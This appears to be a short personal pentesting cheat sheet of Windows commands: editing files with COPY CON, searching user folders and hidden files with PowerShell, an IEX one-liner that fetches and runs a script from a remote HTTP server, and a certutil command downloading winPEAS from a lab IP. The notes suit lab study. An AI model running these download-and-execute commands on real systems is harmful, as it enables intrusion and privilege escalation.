Backlink: reference-notes-readme
How to edit text file from Windows CMD/CLI
Create/open file for editing:
copy con <filename>
Enter/paste text you want to put in the file
End and save the file:
Press CTRL+Z, then ENTER, then ENTER
If you want to change text in an existing file, first display the text by using the command TYPE, copy the text into an editor on the host, make required changes, then paste back in with the above COPY CON method.
PowerShell
File Searching
I can find specific file/folder names with :
Get-ChildItem -Recurse -Include user* -Path C:\Users\ -ErrorAction SilentlyContinue
If I want to look for files only I can add -File:
Get-ChildItem -Recurse -Include user* -File -Path C:\Users\ -ErrorAction SilentlyContinue
I can also find hidden files/folders with -force
Get-ChildItem -Recurse -File -force -Path C:\Users\ -ErrorAction SilentlyContinue
Remote Script Execution
Use the following to source and execute a rom a remote HTTP server on the local Windows machine:
$webclient=(New-Object Net.WebClient);$webclient.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $webclient.DownloadString("http://...")
File Downloads
Use the following to download a file from a remote web server:
certutil.exe -urlcache -split -f http://10.10.14.15/winPEAS.exe